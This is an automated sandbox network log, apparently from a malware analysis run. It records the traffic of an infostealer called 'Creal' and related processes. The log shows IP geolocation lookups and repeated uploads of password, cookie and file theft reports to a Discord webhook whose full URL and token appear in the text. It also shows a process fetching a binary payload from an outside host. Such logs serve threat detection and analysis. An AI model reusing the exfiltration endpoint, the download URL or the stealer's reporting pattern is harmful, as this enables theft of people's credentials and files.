2023-12-20 14:35:35 UTC	197	IN	Data Raw: 62 61 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: bacallback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.152.212","state":"California"})0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49793	172.67.139.220	443	7204	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:35 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-12-20 14:35:35 UTC	885	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:35 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cbbZNTZ2BxYOo3nW3ca704MHKwgO6ad98MuxJE70Aw6rULx9oXjOnYSDaj9WVhwFl5A1ClKAXb%2FYmbFM8k9AZ1Hhq9TU8SfrxQU6v6cZk2stFjJqlpShkvyLbn8C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889cdaead3b3eb-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:35 UTC	441	IN	Data Raw: 31 62 32 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 46 6c 6f 72 69 64 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 33 34 5c 75 30 34 33 30 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 Data Ascii: 1b2{"ip":"102.129.152.212","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Florida","region_rus":"\u0424\u043b\u043e\u0440\u0438\u0434\u0430","region_ua":"\u0424\u04
2023-12-20 14:35:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49794	162.159.136.232	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:35 UTC	332	OUT	POST /api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8bPVrLSV4Ki90tOZoTMLE9 HTTP/1.1 Accept-Encoding: identity Content-Length: 623 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2023-12-20 14:35:35 UTC	623	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 7c 20 50 61 73 73 77 6f 72 64 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 3c 3a 61 70 6f 6c 6c 6f 6e 64 65 6c 69 72 6d 69 73 3a 31 30 31 32 33 37 30 31 38 30 38 34 35 38 38 33 34 39 33 3e 3a 20 2a 2a 41 63 63 6f 75 6e 74 73 2a 2a 3a 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 61 3a 68 69 72 61 5f 6b 61 73 61 61 6e 61 68 74 61 72 69 3a 38 38 36 39 34 32 38 35 36 39 36 39 38 37 35 34 37 36 3e 20 5c 75 32 30 32 32 20 2a 2a Data Ascii: {"content": ":flag_us: - `user \| 102.129.152.212 (United States)`", "embeds": [{"title": "Creal \| Password Stealer", "description": "<:apollondelirmis:1012370180845883493>: Accounts:\n\n\nData:\n<a:hira_kasaanahtari:886942856969875476> \u2022 **
2023-12-20 14:35:36 UTC	1350	IN	HTTP/1.1 204 No Content Date: Wed, 20 Dec 2023 14:35:36 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=09de3efa9f4511eea28fa69b6200980f; Expires=Mon, 18-Dec-2028 14:35:36 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1703082937 x-ratelimit-reset-after: 1 via: 1.1 google Alt-Svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5FHSBud7AkglDi9bInelUIZwjLcvX4Pp8dtV6hwJf2Yl%2BBbO9nVZzcQez0tH3y99bft8Gr39AeK0xhZwwCp7ZhGgjICCzEWB8LD8kRni3o9aESXAGL16zxWjmzwr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=09de3efa9f4511eea28fa69b6200980f52ba2748ba23a4f1de17b835a54eb8ccd61e245eff288fccc668ead28c947416; Expires=Mon, 18-Dec-2028 14:35:36 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=eef958d09dfdecedf511d1cf074ca551847f427e-1703082936; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2023-12-20 14:35:36 UTC	205	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 6f 39 78 4e 4f 79 55 43 48 5f 6c 69 33 6e 72 5f 61 37 69 53 49 32 55 4e 2e 37 77 4f 56 78 38 55 65 68 4b 62 6a 53 52 4e 61 72 4d 2d 31 37 30 33 30 38 32 39 33 36 32 32 36 2d 30 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 38 38 39 63 64 64 66 39 62 34 32 38 38 37 2d 4d 49 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=o9xNOyUCH_li3nr_a7iSI2UN.7wOVx8UehKbjSRNarM-1703082936226-0-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 83889cddf9b42887-MIA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49798	64.185.227.156	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:37 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:38 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Wed, 20 Dec 2023 14:35:38 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin
2023-12-20 14:35:38 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49801	159.89.102.253	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:39 UTC	143	OUT	GET /jsonp/102.129.152.212 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:40 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
2023-12-20 14:35:40 UTC	197	IN	Data Raw: 62 61 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: bacallback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.152.212","state":"California"})0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49805	162.159.136.232	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:40 UTC	332	OUT	POST /api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8bPVrLSV4Ki90tOZoTMLE9 HTTP/1.1 Accept-Encoding: identity Content-Length: 623 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2023-12-20 14:35:40 UTC	623	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 43 72 65 61 6c 20 7c 20 43 6f 6f 6b 69 65 73 20 53 74 65 61 6c 65 72 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 3c 3a 61 70 6f 6c 6c 6f 6e 64 65 6c 69 72 6d 69 73 3a 31 30 31 32 33 37 30 31 38 30 38 34 35 38 38 33 34 39 33 3e 3a 20 2a 2a 41 63 63 6f 75 6e 74 73 3a 2a 2a 5c 6e 5c 6e 5c 6e 5c 6e 2a 2a 44 61 74 61 3a 2a 2a 5c 6e 3c 3a 63 6f 6f 6b 69 65 73 5f 74 6c 6d 3a 38 31 36 36 31 39 30 36 33 36 31 38 35 36 38 32 33 34 3e 20 5c 75 32 30 32 32 20 2a 2a 32 35 2a 2a 20 43 Data Ascii: {"content": ":flag_us: - `user \| 102.129.152.212 (United States)`", "embeds": [{"title": "Creal \| Cookies Stealer", "description": "<:apollondelirmis:1012370180845883493>: Accounts:\n\n\n\nData:\n<:cookies_tlm:816619063618568234> \u2022 25 C
2023-12-20 14:35:40 UTC	1352	IN	HTTP/1.1 204 No Content Date: Wed, 20 Dec 2023 14:35:40 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=0c8998e89f4511ee8fc36aa7b741288d; Expires=Mon, 18-Dec-2028 14:35:40 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1703082941 x-ratelimit-reset-after: 1 via: 1.1 google Alt-Svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FXq3Yf4eFL%2FyNsQTE0RdtuLVXBin2JZu7tW5FyhdNvKRTZaEq2bkF81KeQF5RUrakIaJN7J1NsxWaH7hMFn4YSWT54OmZIVNH5dzaOW4lOxh8d%2FpUemJTuw4P7fF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=0c8998e89f4511ee8fc36aa7b741288d4d1177b492a49629776c082f61781b3866b652dff10e0573f26e194fcd0864dd; Expires=Mon, 18-Dec-2028 14:35:40 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=8f36cd0df268ea3f46c24386d86afb0cbdc946c4-1703082940; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2023-12-20 14:35:40 UTC	205	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 53 44 33 6d 30 41 6a 31 58 44 47 68 41 42 51 45 62 37 76 54 79 36 4a 74 42 43 79 75 74 43 42 67 69 61 50 39 73 6c 30 4f 49 38 38 2d 31 37 30 33 30 38 32 39 34 30 37 30 36 2d 30 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 38 38 39 63 66 61 31 66 63 62 36 37 63 66 2d 4d 49 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=SD3m0Aj1XDGhABQEb7vTy6JtBCyutCBgiaP9sl0OI88-1703082940706-0-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 83889cfa1fcb67cf-MIA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49808	64.185.227.156	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:41 UTC	117	OUT	GET / HTTP/1.1 Accept-Encoding: identity Host: api.ipify.org User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:41 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Wed, 20 Dec 2023 14:35:41 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin
2023-12-20 14:35:41 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49809	159.89.102.253	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:42 UTC	143	OUT	GET /jsonp/102.129.152.212 HTTP/1.1 Accept-Encoding: identity Host: geolocation-db.com User-Agent: Python-urllib/3.12 Connection: close
2023-12-20 14:35:43 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: *
2023-12-20 14:35:43 UTC	197	IN	Data Raw: 62 61 0d 0a 63 61 6c 6c 62 61 63 6b 28 7b 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 69 74 79 22 3a 22 4c 6f 73 20 41 6e 67 65 6c 65 73 22 2c 22 70 6f 73 74 61 6c 22 3a 22 39 30 30 30 39 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 34 2e 30 35 34 34 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 31 31 38 2e 32 34 34 2c 22 49 50 76 34 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 7d 29 0d 0a 30 0d 0a 0d 0a Data Ascii: bacallback({"country_code":"US","country_name":"United States","city":"Los Angeles","postal":"90009","latitude":34.0544,"longitude":-118.244,"IPv4":"102.129.152.212","state":"California"})0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49813	172.67.139.220	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:43 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-12-20 14:35:43 UTC	891	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:43 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=anqvC54amU%2FRMQUtKohee110J8qdeYFR9cX%2BPnGIkcIbWFmPTgw7tPFjovRRRiCU2NOh3suQqlbV1iJir83tOTXvKe%2BASXIPeNUlEpRqcF%2BEVkudfPMROlGOZaxy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889d0d098e8dfa-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:43 UTC	441	IN	Data Raw: 31 62 32 0d 0a 7b 22 69 70 22 3a 22 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 46 6c 6f 72 69 64 61 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 38 5c 75 30 34 33 34 5c 75 30 34 33 30 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 32 34 5c 75 30 34 Data Ascii: 1b2{"ip":"102.129.152.212","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"Florida","region_rus":"\u0424\u043b\u043e\u0440\u0438\u0434\u0430","region_ua":"\u0424\u04
2023-12-20 14:35:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49815	162.159.136.232	443	7252	C:\Users\user\Desktop\a\Creal.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:43 UTC	332	OUT	POST /api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8bPVrLSV4Ki90tOZoTMLE9 HTTP/1.1 Accept-Encoding: identity Content-Length: 480 Host: discord.com Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Connection: close
2023-12-20 14:35:43 UTC	480	OUT	Data Raw: 7b 22 63 6f 6e 74 65 6e 74 22 3a 20 22 3a 66 6c 61 67 5f 75 73 3a 20 20 2d 20 60 4a 4f 4e 45 53 20 7c 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 20 28 55 6e 69 74 65 64 20 53 74 61 74 65 73 29 60 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 63 6f 6c 6f 72 22 3a 20 32 38 39 35 36 36 37 2c 20 22 66 69 65 6c 64 73 22 3a 20 5b 7b 22 6e 61 6d 65 22 3a 20 22 49 6e 74 65 72 65 73 74 69 6e 67 20 66 69 6c 65 73 20 66 6f 75 6e 64 20 6f 6e 20 75 73 65 72 20 50 43 3a 22 2c 20 22 76 61 6c 75 65 22 3a 20 22 5c 6e 22 7d 5d 2c 20 22 61 75 74 68 6f 72 22 3a 20 7b 22 6e 61 6d 65 22 3a 20 22 43 72 65 61 6c 20 7c 20 46 69 6c 65 20 53 74 65 61 6c 65 72 22 7d 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 43 72 65 61 6c 20 53 74 65 61 6c 65 72 22 2c Data Ascii: {"content": ":flag_us: - `user \| 102.129.152.212 (United States)`", "embeds": [{"color": 2895667, "fields": [{"name": "Interesting files found on user PC:", "value": "\n"}], "author": {"name": "Creal \| File Stealer"}, "footer": {"text": "Creal Stealer",
2023-12-20 14:35:44 UTC	1350	IN	HTTP/1.1 204 No Content Date: Wed, 20 Dec 2023 14:35:44 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=0e8850e49f4511eeb66beeaf8d4af96f; Expires=Mon, 18-Dec-2028 14:35:44 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1703082945 x-ratelimit-reset-after: 1 via: 1.1 google Alt-Svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=n3MESzMhw2c4xwfJ9JFvV6aMkzlrlc8GzQ7Jps5fJpm8%2F3ceVXavJaiyQEsP10CgiVEE2QPnqlf8Z64bnijwHRin9Yedt4sUMrCS3vHCeTlxwIhlcaHgj9LzgrlZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=0e8850e49f4511eeb66beeaf8d4af96f8070c82a7c12c72d7900c45adb8dd62dc947d0cd0b08b25b2ec51a42b6a188a3; Expires=Mon, 18-Dec-2028 14:35:44 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=8515a57bf3e8ae62ebe4a12beb2d15e20abced4b-1703082944; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2023-12-20 14:35:44 UTC	205	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 39 72 39 41 6e 4e 56 48 67 42 4e 45 74 6f 48 52 4c 78 54 56 39 37 42 6c 36 4a 6f 73 38 4b 36 66 6f 38 7a 6b 58 61 4b 46 5a 47 34 2d 31 37 30 33 30 38 32 39 34 34 30 35 34 2d 30 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 38 38 39 64 30 66 36 62 35 32 37 34 39 65 2d 4d 49 41 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=9r9AnNVHgBNEtoHRLxTV97Bl6Jos8K6fo8zkXaKFZG4-1703082944054-0-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 83889d0f6b52749e-MIA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49814	167.86.119.6	443	8148	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:43 UTC	182	OUT	GET /URIuZCNDpoKCfSrV94.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: www.magssin.com Cache-Control: no-cache
2023-12-20 14:35:44 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:43 GMT Server: Apache Last-Modified: Mon, 18 Dec 2023 16:39:40 GMT Accept-Ranges: bytes Content-Length: 251456 Connection: close Content-Type: application/octet-stream
2023-12-20 14:35:44 UTC	7969	IN	Data Raw: 07 eb 3f f5 b1 ae 98 97 ec a5 f6 bc 3c 67 d7 ac d6 eb 4c d6 42 48 3f e7 38 16 c0 b6 a9 8a ce f2 2d 15 ee 25 bc ba d2 f9 e6 05 76 f4 ce 70 c2 d7 75 3f 0a 37 99 4e 7f 73 42 2e f1 0c b9 1b d4 06 0b 51 6d b8 b1 d6 51 4c 0d e4 99 b1 4f 2d 6a 70 41 7b d5 32 1f b1 c9 7f e6 31 dd e1 8b e9 8b d0 bc aa aa 91 c1 ae c4 67 f6 d6 7f 0c 5f d3 dc b0 e8 80 95 8b ca 35 dd eb 1e b4 b9 84 4c 34 08 4d 45 9f 76 54 07 0f 42 2d 72 df 3f a3 8c e1 ce 61 bb 17 99 16 6e 2e a2 a2 2f 10 eb 86 29 6b 52 91 cf 58 d6 d1 1a 48 66 f1 21 1a 90 00 16 a8 51 9b 75 dd 61 40 36 a1 d1 16 f8 4d df 25 5e 97 67 b8 e9 79 0a c7 a8 31 db 98 86 fc 38 d4 10 b2 85 31 f1 c4 f8 d9 87 4a a2 41 7a d5 81 66 33 76 cc 81 8a 72 07 2d 11 24 49 2a 36 e9 5f b3 77 b4 1d a2 ea 2f 1d f9 74 b3 7b 7a 77 0c 56 d4 8f 62 cc Data Ascii: ?<gLBH?8-%vpu?7NsB.QmQLO-jpA{21g_5L4MEvTB-r?an./)kRXHf!Qua@6M%^gy181JAzf3vr-$I*6_w/t{zwVb
